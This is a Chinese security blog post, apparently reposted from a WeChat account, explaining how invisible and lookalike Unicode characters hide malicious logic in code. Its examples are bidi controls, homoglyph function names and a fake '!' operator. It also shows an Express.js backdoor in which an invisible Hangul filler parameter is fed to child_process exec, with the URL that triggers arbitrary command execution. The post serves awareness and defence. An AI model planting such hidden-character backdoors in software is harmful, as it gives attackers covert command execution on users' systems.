Unicode 双向机制(Bidi)
RLI
a b cRLI
LRI
a b c PDI
LRI
d e f PDI
PDI
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Python
同形字
#!/usr/bin/env python3
def sayНello():
print("Goodbye, World!")
def sayHello():
print("hacker!")
sayНello()
sayHello()
const a = 'abc';
const b = 'abc';
if(aǃ=b){
alert("yes");
}
else
{
alert("no");
}
#输出yes
const a = 'abc';
const b = 'abc';
if(a!=b){
alert("yes");
}
else
{
alert("no");
}
#输出no
a
不会与字符串进行比较,所以这里if 语句中的表达式始终是true
后门
ID_Start
属性,因此可以当作变量来使用。JS
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
const { timeout,u3164} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',u3164
];
exec
函数。该函数执行操作系统命令。攻击者要执行任意操作系统命令,他们必须将名为“ㅤ”的参数(以 URL 编码形式)传递:http://host:8080/network_health?%E3%85%A4=<any command>
参考:
原文始发于微信公众号(山石网科安全技术研究院):《关于倒霉的CV工程师又一次被不可见字符打败那回事》
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论